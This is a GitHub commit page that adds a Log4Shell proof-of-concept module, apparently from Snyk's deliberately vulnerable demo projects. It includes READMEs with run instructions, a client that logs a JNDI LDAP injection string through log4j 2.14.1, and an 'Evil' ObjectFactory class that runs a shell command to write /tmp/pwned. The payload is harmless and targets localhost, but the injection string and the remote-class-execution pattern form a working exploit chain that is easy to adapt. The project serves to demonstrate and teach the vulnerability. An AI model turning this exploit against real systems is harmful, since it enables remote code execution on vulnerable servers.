-
Notifications
You must be signed in to change notification settings - Fork 1.2k
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Added standalone log4shell-goof module
- Loading branch information
Showing
14 changed files
with
495 additions
and
10 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,98 @@ | ||
## Log4Shell Proof of Concept | ||
|
||
The purpose of this project is to demonstrate the Log4Shell exploit with Log4J versions older than `2.15.0`. | ||
|
||
This repo is based on the excellent proof-of-concept published by [BrianV](https://github.com/bmvermeer/log4jexploit/). | ||
The PoC is a great starting point. This project expands on it by fleshing it out into a fully standalone demo. | ||
|
||
For more information about the exploit and the mechanics of how it works, | ||
[here is a good blog post](https://snyk.io/blog/log4j-rce-log4shell-vulnerability-cve-2021-4428/). | ||
|
||
### Requirements | ||
|
||
You'll need one of the following Java SDKs: | ||
* 11.0.1 or earlier | ||
* 8u191 or earlier | ||
* 7u201 or earlier | ||
* 6u211 or earlier | ||
|
||
Java SDKs newer than those versions don't have the same vulnerability. | ||
|
||
### Building the PoC | ||
|
||
In the root folder, run: | ||
|
||
``` | ||
./mvnw clean install | ||
``` | ||
|
||
**NOTE:** This project includes the Maven wrapper, so you don't need to have previously installed Maven. | ||
|
||
### Running the PoC | ||
|
||
This repo has two modules: server and client. | ||
|
||
The server module runs a lean LDAP & HTTP server. | ||
|
||
The LDAP server listens on port `9999` by default and will return an `LDAPResult` that includes a URL reference to a | ||
Java class that will be deserialized and executed. | ||
|
||
The HTTP server listens on port `8000` and responds to any request with a byte array that is the `Evil.class`. | ||
|
||
`Evil` implements `ObjecFactory` which the JNDI mechanism hooks into to execute its `getObjectInstance` method. While | ||
the method simply returns `null`, it uses `Runtime` to execute arbitrary code on the host machine. In this case, it | ||
writes to a file called: `/tmp/pwned` to prove that it _could_ execute basically anything available on the machine. | ||
|
||
This PoC should run as-is on Linux or Mac. | ||
|
||
Open a terminal window and run the following: | ||
|
||
``` | ||
cd log4shell-server | ||
../mvnw exec:java -Dexec.mainClass="Server" | ||
``` | ||
|
||
You should see output that looks like the following: | ||
|
||
``` | ||
[INFO] --- exec-maven-plugin:3.0.0:java (default-cli) @ log4shell-server --- | ||
LDAP server listening on 0.0.0.0:9999 | ||
HTTP server listening on 0.0.0.0:8000 | ||
``` | ||
|
||
In another terminal window, run the following: | ||
|
||
``` | ||
cd log4shell-client | ||
JAVA_HOME=/Library/Java/JavaVirtualMachines/jdk1.8.0_111.jdk/Contents/Home \ | ||
../mvnw exec:java -Dexec.mainClass="Main" | ||
``` | ||
|
||
**NOTE:** Referencing `JAVA_HOME` is important as the exploit only fully works with older JDK versions. | ||
For example, you can download JDK 8u111 | ||
[here](https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html). If you download | ||
and install the version for Mac, the above command will work for you. | ||
|
||
You should see output that looks like the following: | ||
|
||
``` | ||
[INFO] --- exec-maven-plugin:3.0.0:java (default-cli) @ log4shell-client --- | ||
---------- JVM Props ------------- | ||
java.vm.version=25.111-b14 | ||
java.vm.vendor=Oracle Corporation | ||
java.vm.name=Java HotSpot(TM) 64-Bit Server VM | ||
java.vm.specification.name=Java Virtual Machine Specification | ||
java.vm.specification.vendor=Oracle Corporation | ||
java.vm.specification.version=1.8 | ||
java.vm.info=mixed mode | ||
--------------------------------- | ||
20:27:49.676 [Main.main()] ERROR Main - test | ||
/tmp/pwned DOES NOT EXIST | ||
20:27:49.679 [Main.main()] ERROR Main - Output:${jndi:ldap://127.0.0.1:9999/Evil} | ||
/tmp/pwned EXISTS - yah been pwned! | ||
``` | ||
|
||
**NOTE**: The client app will tell you if it was successful. It does some checks, including looking for the | ||
`/tmp/pwned` file before and after the attack. You MUST delete the `/tmp/pwned` file between runs in order for the | ||
client app to work properly. The file not being there and then being present after the attack is how it knows it's | ||
been successful. |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,95 @@ | ||
## Log4Shell Proof of Concept | ||
|
||
The purpose of this project is to demonstrate the Log4Shell exploit with Log4J versions older than `2.15.0`. | ||
|
||
For more information about the exploit and the mechanics of how it works, | ||
[here is a good blog post](https://snyk.io/blog/log4j-rce-log4shell-vulnerability-cve-2021-4428/). | ||
|
||
### Requirements | ||
|
||
You'll need one of the following Java SDKs: | ||
* 11.0.1 or earlier | ||
* 8u191 or earlier | ||
* 7u201 or earlier | ||
* 6u211 or earlier | ||
|
||
Java SDKs newer than those versions don't have the same vulnerability. | ||
|
||
### Building the PoC | ||
|
||
In the root folder, run: | ||
|
||
``` | ||
./mvnw clean install | ||
``` | ||
|
||
**NOTE:** This project includes the Maven wrapper, so you don't need to have previously installed Maven. | ||
|
||
### Running the PoC | ||
|
||
This repo has two modules: server and client. | ||
|
||
The server module runs a lean LDAP & HTTP server. | ||
|
||
The LDAP server listens on port `9999` by default and will return an `LDAPResult` that includes a URL reference to a | ||
Java class that will be deserialized and executed. | ||
|
||
The HTTP server listens on port `8000` and responds to any request with a byte array that is the `Evil.class`. | ||
|
||
`Evil` implements `ObjecFactory` which the JNDI mechanism hooks into to execute its `getObjectInstance` method. While | ||
the method simply returns `null`, it uses `Runtime` to execute arbitrary code on the host machine. In this case, it | ||
writes to a file called: `/tmp/pwned` to prove that it _could_ execute basically anything available on the machine. | ||
|
||
This PoC should run as-is on Linux or Mac. | ||
|
||
Open a terminal window and run the following: | ||
|
||
``` | ||
cd log4shell-server | ||
../mvnw exec:java -Dexec.mainClass="Server" | ||
``` | ||
|
||
You should see output that looks like the following: | ||
|
||
``` | ||
[INFO] --- exec-maven-plugin:3.0.0:java (default-cli) @ log4shell-server --- | ||
LDAP server listening on 0.0.0.0:9999 | ||
HTTP server listening on 0.0.0.0:8000 | ||
``` | ||
|
||
In another terminal window, run the following: | ||
|
||
``` | ||
cd log4shell-client | ||
JAVA_HOME=/Library/Java/JavaVirtualMachines/jdk1.8.0_111.jdk/Contents/Home \ | ||
../mvnw exec:java -Dexec.mainClass="Main" | ||
``` | ||
|
||
**NOTE:** Referencing `JAVA_HOME` is important as the exploit only fully works with older JDK versions. | ||
For example, you can download JDK 8u111 | ||
[here](https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html). If you download | ||
and install the version for Mac, the above command will work for you. | ||
|
||
You should see output that looks like the following: | ||
|
||
``` | ||
[INFO] --- exec-maven-plugin:3.0.0:java (default-cli) @ log4shell-client --- | ||
---------- JVM Props ------------- | ||
java.vm.version=25.111-b14 | ||
java.vm.vendor=Oracle Corporation | ||
java.vm.name=Java HotSpot(TM) 64-Bit Server VM | ||
java.vm.specification.name=Java Virtual Machine Specification | ||
java.vm.specification.vendor=Oracle Corporation | ||
java.vm.specification.version=1.8 | ||
java.vm.info=mixed mode | ||
--------------------------------- | ||
20:27:49.676 [Main.main()] ERROR Main - test | ||
/tmp/pwned DOES NOT EXIST | ||
20:27:49.679 [Main.main()] ERROR Main - Output:${jndi:ldap://127.0.0.1:9999/Evil} | ||
/tmp/pwned EXISTS - yah been pwned! | ||
``` | ||
|
||
**NOTE**: The client app will tell you if it was successful. It does some checks, including looking for the | ||
`/tmp/pwned` file before and after the attack. You MUST delete the `/tmp/pwned` file between runs in order for the | ||
client app to work properly. The file not being there and then being present after the attack is how it knows it's | ||
been successful. |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,34 @@ | ||
<?xml version="1.0" encoding="UTF-8"?> | ||
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> | ||
<modelVersion>4.0.0</modelVersion> | ||
<parent> | ||
<artifactId>log4shell-poc</artifactId> | ||
<groupId>io.snyk</groupId> | ||
<version>0.0.1-SNAPSHOT</version> | ||
</parent> | ||
|
||
<artifactId>log4shell-client</artifactId> | ||
<version>0.0.1-SNAPSHOT</version> | ||
|
||
<name>Java Goof :: Log4Shell Goof :: Log4Shell Client</name> | ||
<url>https://snyk.io</url> | ||
|
||
<properties> | ||
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding> | ||
<maven.compiler.source>8</maven.compiler.source> | ||
<maven.compiler.target>8</maven.compiler.target> | ||
</properties> | ||
|
||
<dependencies> | ||
<dependency> | ||
<groupId>org.apache.logging.log4j</groupId> | ||
<artifactId>log4j-core</artifactId> | ||
<version>2.14.1</version> | ||
</dependency> | ||
<dependency> | ||
<groupId>org.apache.logging.log4j</groupId> | ||
<artifactId>log4j-api</artifactId> | ||
<version>2.14.1</version> | ||
</dependency> | ||
</dependencies> | ||
</project> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,43 @@ | ||
import org.apache.logging.log4j.LogManager; | ||
import org.apache.logging.log4j.Logger; | ||
|
||
import java.io.File; | ||
|
||
public class Main { | ||
|
||
private static final String PWN_FILE = "/tmp/pwned"; | ||
private static final Logger logger = LogManager.getLogger(Main.class); | ||
|
||
public static void main(String[] args) throws InterruptedException { | ||
showJavaStats(); | ||
logger.error("test"); | ||
checkTmp(false); | ||
logger.error("Output:" + "${jndi:ldap://127.0.0.1:9999/Evil}"); | ||
// give a beat for the file to be written | ||
Thread.sleep(1000); | ||
checkTmp(true); | ||
} | ||
|
||
public static void showJavaStats() { | ||
System.out.println("---------- JVM Props -------------"); | ||
System.getProperties().entrySet().stream() | ||
.filter(entry -> ((String)entry.getKey()).startsWith("java.vm.")) | ||
.forEach(System.out::println); | ||
System.out.println("---------------------------------"); | ||
} | ||
|
||
public static void checkTmp(boolean shouldExist) { | ||
File f = new File(PWN_FILE); | ||
if (shouldExist != f.exists()) { | ||
String exStr = String.format( | ||
"\n\tUnexpected state." + | ||
"\n\tMake sure to remove %s between runs." + | ||
"\n\tMake sure Server is running." + | ||
"\n\tMake sure you JVM is <= 11.0.1 or 8u191 or 7u201 or 6u211", | ||
PWN_FILE | ||
); | ||
throw new RuntimeException(exStr); | ||
} | ||
System.out.println(String.format("%s %s", PWN_FILE, f.exists()?"EXISTS - yah been pwned!":"DOES NOT EXIST")); | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,40 @@ | ||
<?xml version="1.0" encoding="UTF-8"?> | ||
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> | ||
<modelVersion>4.0.0</modelVersion> | ||
|
||
<parent> | ||
<artifactId>log4shell-poc</artifactId> | ||
<groupId>io.snyk</groupId> | ||
<version>0.0.1-SNAPSHOT</version> | ||
</parent> | ||
|
||
<artifactId>log4shell-server</artifactId> | ||
<version>0.0.1-SNAPSHOT</version> | ||
|
||
<name>Java Goof :: Log4Shell Goof :: Log4Shell Server</name> | ||
<url>https://snyk.io</url> | ||
|
||
<properties> | ||
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding> | ||
<maven.compiler.source>8</maven.compiler.source> | ||
<maven.compiler.target>8</maven.compiler.target> | ||
</properties> | ||
|
||
<dependencies> | ||
<dependency> | ||
<groupId>org.apache.logging.log4j</groupId> | ||
<artifactId>log4j-core</artifactId> | ||
<version>2.15.0</version> | ||
</dependency> | ||
<dependency> | ||
<groupId>com.unboundid</groupId> | ||
<artifactId>unboundid-ldapsdk</artifactId> | ||
<version>3.1.1</version> | ||
</dependency> | ||
<dependency> | ||
<groupId>io.undertow</groupId> | ||
<artifactId>undertow-core</artifactId> | ||
<version>2.2.13.Final</version> | ||
</dependency> | ||
</dependencies> | ||
</project> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,17 @@ | ||
import javax.naming.Context; | ||
import javax.naming.Name; | ||
import javax.naming.spi.ObjectFactory; | ||
import java.util.Hashtable; | ||
|
||
public class Evil implements ObjectFactory { | ||
@Override | ||
public Object getObjectInstance (Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception { | ||
String[] cmd = { | ||
"/bin/sh", | ||
"-c", | ||
"echo PWNED > /tmp/pwned" | ||
}; | ||
Runtime.getRuntime().exec(cmd); | ||
return null; | ||
} | ||
} |
Oops, something went wrong.